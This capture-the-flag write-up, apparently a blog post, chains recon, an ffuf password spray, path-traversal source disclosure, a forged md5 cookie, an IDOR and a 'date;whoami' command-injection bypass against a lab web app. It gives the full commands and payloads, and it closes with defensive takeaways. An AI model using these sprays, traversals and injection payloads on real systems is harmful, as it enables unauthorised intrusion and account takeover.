Support

Jun 3, 2026

|

7 min read

| Room ↗

Recon

As always, the first move is a service scan to map the attack surface.

nmap: service & version scan
nmap -sV -sC <target-ip>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 64:a1:a5:60:4c:6b:ef:ef:6b:b9:29:3d:15:5f:4d:65 (ECDSA)
|_ 256 76:62:6e:77:b7:cf:97:c1:53:7c:8c:4a:f0:21:04:f7 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Support Operations Panel
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only two ports answer. SSH (22) is a dead end without credentials, which leaves the Apache instance on port 80 as the obvious starting point.

Support Operations Panel login
The employee authentication portal

We land on an Employee Authentication panel. The placeholder helpfully suggests an email format (help@support.thm), which seems to actually be a real email. Trying admin@support.thm / admin just gives us an “Invalid credentials” error.

Invalid credentials error
Invalid credentials on every guess

The only cookie set is PHPSESSID, nothing interesting yet, and the page source doesn’t reveal much. Repeated login attempts all return the same error, there’s no obvious rate limiting, which makes this a good candidate for password spraying later.

Enumeration

With no credentials in hand, let’s map out what else the server is hosting.

gobuster: content discovery (with backup + php extensions)
gobuster dir -u http://<target-ip> \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x bak,php

The interesting hits:

PathVerdict
includes/Contains skin.php: executes, and there’s also a skins folder. Worth a look.
info.phpA full phpinfo() dump: server paths and every PHP setting.
skins/A collection of color-named files (the themes).
config.phpReturns 200 but blank: executes server-side, secrets likely inside.
api.phpRedirects to index.php (auth-gated).
dashboard.phpRedirects to index.php (auth-gated).
gobuster results (trimmed)
includes (Status: 301) [--> /includes/]
index.php (Status: 200)
info.php (Status: 200)
skins (Status: 301) [--> /skins/]
api.php (Status: 302) [--> index.php]
config.php (Status: 200) [Size: 0]
dashboard.php (Status: 302) [--> index.php]
logout.php (Status: 302) [--> index.php]

So we have a login wall in front of dashboard.php and api.php, an empty-but-present config.php, and a phpinfo() leak. Let’s get through the door first.

Spraying the login

Since the portal exposes the help@support.thm address and shows no rate limiting, I sprayed it with ffuf, filtering out the 200 responses (failed logins) so a successful 302 redirect stands out.

ffuf: password spray against the helpdesk user
ffuf -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
-X POST \
-d "email=help@support.thm&password=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
-u http://<target-ip>/ -fc 200
████████ [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 41ms]

TIP

-fc 200 filters by status code. A failed login re-renders the page (200); a successful one probably redirects to the dashboard (302), so we filter out the 200.

A spray of admin@support.thm found nothing, but with help@support.thm : ████████ is valid. Logging in drops us on the Support Dashboard as the Helpdesk User.

Support Dashboard as the helpdesk user
Authenticated helpdesk dashboard with a theme selector

Exploitation

Step 1: Path-traversal source disclosure via skin

The dashboard has a Select Theme control. Picking a theme reloads the page as dashboard.php?skin=red and injects a matching <style> block:

<style>
body { background-color: #ffe5e5; }
</style>

That skin parameter is clearly being used to pull a file from disk, a LFI / path-traversal candidate. A non-existent color (?skin=yellow) renders nothing, worth a try to see the errors.

NOTE

LFI = Local File Inclusion, tricking an app into reading or executing a file from the server’s own disk. Here it lets us read the application’s own source.

I briefly considered RFI (Remote File Inclusion) to pull in a PHP reverse shell from my own server. The phpinfo() page confirms allow_url_fopen = On

phpinfo PHP settings
allow_url_fopen On, but allow_url_include Off

WARNING

…but, one row down: allow_url_include = Off. RFI through include() needs allow_url_include, not just allow_url_fopen, so the remote-shell route was dead from the start, a good reminder to check which directive governs which sink before committing to a remote-include plan.

So instead of pulling code in, I used the traversal to read source out. The parameter appends .php, so I walked back up to read includes/skin.php:

http://<target-ip>/dashboard.php?skin=../includes/skin

That confirms the sink:

includes/skin.php
include("skins/" . $skin . ".php");

The hard-coded skins/ prefix is another thing that blocks RFI (and stops us escaping cleanly with a wrapper), but it does not stop us reading other .php source files via ../. The juicy target is the auth-gated api.php:

http://<target-ip>/dashboard.php?skin=../api
api.php source disclosed
Reading api.php source through the skin parameter
leaked api.php
<?php
session_start();
if (!isset($_SESSION['loggedin'])) {
header('Location: index.php');
exit;
}
if (($_COOKIE['isITUser'] ?? md5('false')) !== md5('true')) {
die('Access denied');
}
include('/var/www/db.php');
$id = $_GET['id'] ?? $_SESSION['user_id'];
$user = $users[$id] ?? null;
if (preg_match('#^/user/#', $_SERVER['REQUEST_URI'])) {
header('Content-Type: application/json');
unset($user['password']);
echo json_encode($user, JSON_PRETTY_PRINT);
exit;
}
?>

Two flaws jump out:

  1. Access control, the gate just checks that a cookie equals md5('true').
  2. IDOR, $id = $_GET['id'] ?? $_SESSION['user_id']: we can request any user by id.

The app does hand us an isITUser cookie, but its value doesn’t satisfy the check, so hitting api.php directly just returns Access denied:

isITUser cookie failing the check
The app-issued isITUser cookie doesn't equal md5('true'), so access is denied

The check is simply $_COOKIE['isITUser'] !== md5('true'), and md5('true') is b326b5062b2f0e69046810717534cb09, so we just overwrite the cookie with it:

isITUser = b326b5062b2f0e69046810717534cb09

With that cookie set, api.php lets us through and returns our own profile (/user/3):

api.php returning the helpdesk profile
Authenticated to the Internal User API as user 3

Now the IDOR. The code reflects $_GET['id'], so I walked the user table with ?id=:

enumerating users via the IDOR
===== id=1 =====
"email": "specialadmin@support.thm" "2FA": false "admin": true
===== id=2 =====
"email": "IT@support.thm" "2FA": false "admin": false
===== id=3 =====
"email": "help@support.thm" "2FA": false "admin": false
IDOR exposing the admin account
id=1 reveals specialadmin@support.thm with admin:true

We now know the admin account is specialadmin@support.thm, but the API unset()s the password field before returning, so we have the username and no secret, yet.

Step 3: Leak the master password from config.php

Back to the source-disclosure trick for the one file we couldn’t read before, config.php:

http://<target-ip>/dashboard.php?skin=../config
leaked config.php (in a comment)
<?php
$MASTER_PASSWORD = '████████';
$SITE_VER = '1.0';
$SITE_NAME = 'support_portal';

I tried, but that master password was not the admin’s login directly, frustrating at first, since it failed on both the login form and over SSH. But a “master password” left in config might be a hint that the real one is a variant of it. I generated a mangled wordlist from its tokens with rsmangler and sprayed the admin account:

rsmangler + ffuf: mangled password spray
printf '████████\n███\n' > words.txt
rsmangler --file words.txt > mutations.txt
ffuf -w mutations.txt -X POST \
-d "email=specialadmin@support.thm&password=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
-u http://<target-ip>/ -fc 200
████████ [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 31ms]
████████& [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 35ms]

The working password is the same characters as the master one with the symbol dropped. Logging in as specialadmin@support.thm with that variant unlocks the IT Admin Panel and the first flag.

Administrator access confirmed, first flag
Admin dashboard with the first flag redacted

That’s the first flag in the bag. 🚩

Step 4: Command injection in the “Date” function

The admin dashboard adds a new footer control: a Date dropdown that fires a POST with a sys parameter and echoes the server time back.

Date function POST with sys parameter
The Date control sends sys=date and reflects the output

It looks like the value of sys is passed straight to a shell, tho sending sys=whoami is rejected:

Filter rejects non-date commands
Only date command is allowed

The filter only checks that the command starts with date, so a shell separator bypasses it. sys=date;whoami runs both:

Command injection bypass returns www-data
date;whoami leaks the www-data user
Wed Jun 3 19:26:45 UTC 2026
www-data

We have RCE as www-data. Reading the user flag:

reading the flag
sys=date;cat /home/ubuntu/user.txt
User flag via command injection
date;cat /home/ubuntu/user.txt returns the flag

And that’s the box fully owned. 🚩

Takeaways

  • No rate limiting = free spraying. The login happily took thousands of ffuf guesses; filtering on the 302 redirect found the helpdesk password in seconds.
  • Know which PHP directive guards which sink. allow_url_fopen lets fopen() reach URLs, but include() RFI needs allow_url_include. With the latter Off, the traversal is only good for reading source, which was plenty.
  • A static prefix isn’t a fix. include("skins/" . $skin . ".php") blocked RFI but still allowed ../ traversal to disclose every other .php file, including the auth logic itself.
  • md5('true') is not authentication. It’s a predictable, attacker-controllable cookie value.
  • Secrets in source + an IDOR chain. The IDOR named the admin; the leaked master password (lightly mangled) authenticated as them.
  • Blocklists lose to separators. “Must contain date” falls to date;whoami. Allow-list the exact command instead.

Kill Chain

Reconnaissance T1595 · T1595.003
nmap, two open ports
gobuster: config.php, api.php, phpinfo
Credential Access T1110.003 · T1552.001
ffuf spray, help@support.thm
config.php leaks master password
rsmangler variant, specialadmin login
Initial Access T1190
skin= path traversal, leak api.php source
forge isITUser = md5('true') cookie
IDOR names specialadmin
Execution T1059
Date filter bypass: date;whoami
command injection, RCE as www-data
web lfi idor command-injection